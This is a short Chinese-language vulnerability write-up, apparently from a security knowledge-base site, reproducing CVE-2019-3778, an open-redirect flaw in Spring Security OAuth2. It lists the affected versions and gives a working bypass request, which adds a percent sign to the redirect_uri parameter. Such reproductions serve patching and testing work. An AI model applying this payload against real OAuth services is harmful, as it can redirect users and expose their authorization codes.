menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2019-3778)Spring Security OAuth2 开放重定向 chevron_right (CVE-2019-3778)Spring Security OAuth2 开放重定向.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-3778)Spring Security OAuth2 开放重定向.md
    1.19 KB / 2021-07-15 20:04:38
        (CVE-2019-3778)Spring Security OAuth2 开放重定向
    ==================================================
    
    一、漏洞简介
    ------------
    
    限制条件:
    
    -   有问题的Spring Security OAuth2版本
    
    -   oAuth认证使用授权码模式
    
    -   用户需要在登录的情况下
    
    二、漏洞影响
    ------------
    
    Spring Security OAuth 2.3 to 2.3.4Spring Security OAuth 2.2 to 2.2.3Spring Security OAuth 2.1 to 2.1.3Spring Security OAuth 2.0 to 2.0.16
    
    三、复现过程
    ------------
    
    用户登录后,CLIENT APP执行的以下请求包含REDIRECT\_URI参数。
    只需添加一个百分号即可触发重定向,而不是通过RedirectMismatchException错误来绕过验证。
    
    例如原始请求如下:
    
        /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login
    
    只需要修改为:
    
        /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login
    
    这样就不会产生原本的认证错误,而且直接跳转到地址
    
        Location: http://localhost:8086/login
    
    
    links
    file_download